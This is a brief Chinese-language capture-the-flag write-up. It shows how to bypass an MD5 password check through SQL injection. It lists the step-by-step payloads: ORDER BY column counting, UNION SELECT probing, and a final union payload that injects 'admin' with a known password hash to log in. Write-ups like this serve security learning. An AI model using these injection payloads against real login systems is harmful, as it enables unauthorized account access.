這題的知識點是繞過密碼的md5驗證,參考Y1ng師傅的文章
看到題目,fuzz了一下,過濾的並不多
而且頁面源碼有給sql語句,不過需要先base32再base64解碼
select * from user where username = '$name'
直接可以用聯合注入,表里有三列
1' Order by 3#
進行用聯合注入,回顯wrong user!,說明用戶不在第一列
1' union select 1,2,3#
嘗試將用戶名放在第二列,回顯wrong pass!,找到用戶名在第二列
1' union select 1,'admin',3#
接下里就是要繞過密碼的md5驗證,需要把我們輸入的值和數據庫里面存放的用戶密碼的md5值進行比較,那要怎么繞過呢?可以用聯合查詢語句用來生成虛擬的表數據
首先可以看到該表只有一個用戶
然后我們可以用聯合查詢的方式將查詢的數據插入到表中

通過這樣的方式,我們就可以用構造payload
用戶名輸入(‘e10adc3949ba59abbe56e057f20f883e’是 123456的md5值)
1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#
123456
POST請求 ,獲得flag